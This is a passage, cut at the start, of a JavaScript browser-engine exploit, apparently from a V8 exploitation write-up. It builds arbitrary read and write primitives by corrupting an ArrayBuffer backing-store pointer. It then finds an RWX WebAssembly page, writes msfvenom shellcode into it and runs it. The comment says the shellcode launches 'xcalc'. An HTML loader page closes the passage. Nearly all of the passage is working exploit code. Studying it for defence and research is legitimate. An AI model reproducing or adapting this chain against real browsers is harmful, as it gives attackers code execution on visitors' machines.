arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
// creating an ArrayBuffer holding the value of a 64-bit pointer
let buf = new ArrayBuffer(8);
// creating a dataview for the ArrayBuffer object
let dataview = new DataView(buf);
// retrieving the address of the ArrayBuffer object
let buf_addr = addrof(buf);
// retrieveing the address of the backing_store pointer of the
// ArrayBuffer object located at offset +0x20
let backing_store_addr = buf_addr + 0x20n;
// overwritting the backing_store pointer with the value we desire
// to overwrite
initial_arb_write(backing_store_addr, addr);
// using the dataview to dereference the backing pointer and to
// do the write for us
dataview.setBigUint64(0, BigInt(val), true);
// syntax: setBigUint64(byteOffset, value, littleEndian)
}
function exploit() {
// based on https://wasdk.github.io/WasmFiddle/
// this is some 'container' code implementing a return 0 to force
// the creation of a RWX page. contents will be overwritten with shellcode
var wasm_code = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,
128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,
128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,
101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,
0,1,132,128,128,128,0,0,65,0,11]
);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
// retrieving entry-point of wasm instance
var f = wasm_instance.exports.main;
// retrieving rwx page base at offset 0x88 from wasm instance
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
// retrieving ArrayBuffer's backing store pointer at offset 0x20
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// msfvenom -p linux/x64/exec CMD='xcalc' --format dword
var shellcode=[
0x90909090,
0x90909090,
0x782fb848,
0x636c6163,
0x48500000,
0x73752fb8,
0x69622f72,
0x8948506e,
0xc03148e7,
0x89485750,
0xd23148e6,
0x3ac0c748,
0x50000030,
0x4944b848,
0x414c5053,
0x48503d59,
0x3148e289,
0x485250c0,
0xc748e289,
0x00003bc0,
0x050f00
];
copy_shellcode(rwx_page_addr, shellcode);
f();
}
exploit();
The exploit.html
layout should be as follows for the exploit to work:
$cat exploit.html
<html>
<head>
<script src="exploit.js"></script>
</head>
</html>